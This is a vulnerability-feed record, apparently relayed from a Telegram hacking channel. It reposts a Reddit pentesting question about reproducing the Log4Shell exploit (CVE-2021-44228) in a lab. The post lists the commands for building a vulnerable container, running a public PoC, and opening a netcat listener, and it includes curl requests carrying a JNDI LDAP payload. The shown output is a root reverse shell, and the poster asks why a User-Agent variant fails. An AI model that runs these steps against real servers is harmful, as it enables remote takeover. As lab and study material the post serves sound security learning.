{"uuid": "a2664573-8639-4b83-b415-9c8cf92dd009", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-44228", "type": "exploited", "source": "https://t.me/hacking_Attack/47888", "content": "log4j shell poc with User-Agent payload\nhttps://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/\n\n* Note: I found that log4j payload is not allowed to be written here in reddit, so I replace it with PAYLOADHERE keyword. In short, PAYLOADHERE = jndi:ldap If you want to see the full content, I've copied it to pastebin https://pastebin.com/Uge5Rk2H This lab has been created based on the following vulnerable docker image for log4j: https://github.com/kozmer/log4j-shell-poc (go ahead and try it to reproduce this issue) Lab setup Install vulnerable docker application on TARGET and run it TARGET$ git clone https://github.com/kozmer/log4j-shell-poc TARGET$ cd log4j-shell-poc TARGET$ docker build -t log4j-shell-poc . TARGET$ docker run --network host log4j-shell-poc  Prepare POC on TESTER TESTER:~$ git clone https://github.com/kozmer/log4j-shell-poc TESTER:~$ cd log4j-shell-poc TESTER:~$ pip install -r requirements.txt TESTER:~/log4j-shell-poc$ python3 poc.py --userip TESTER --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${PAYLOADHERE://TESTER:1389/a} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Listening on 0.0.0.0:1389  Start a netcat listener to accept reverse shell connection TESTER:~$ nc -lvnp 9001  Use curl/browser to send data back to the TESTER-1 TESTER:~$ curl -d 'uname=${PAYLOADHERE://TESTER:1389/a}&password=' http://TARGET:8080/login  Check netcat again TESTER:~$ nc -lvnp 9001 listening on [any] 9001 ... connect to [TESTER] from (UNKNOWN) [TARGET] 36422 id uid=0(root) gid=0(root) groups=0(root) hostname TARGET  Test completed successfully. However, instead of sending data to login form, I've decided to try again using different entry point which is via User-Agent. This is my payload TESTER:~$ curl -H 'User-Agent: ${PAYLOADHERE://TESTER:1389/a}' http://TARGET:8080    ....  However, I did not get any connection to my netcat listener via this way. What's wrong in this payload and how to fix it?    submitted by    /u/w0lfcat  (https://www.reddit.com/user/w0lfcat) \n [link] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/)   [comments] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:35.285947Z"}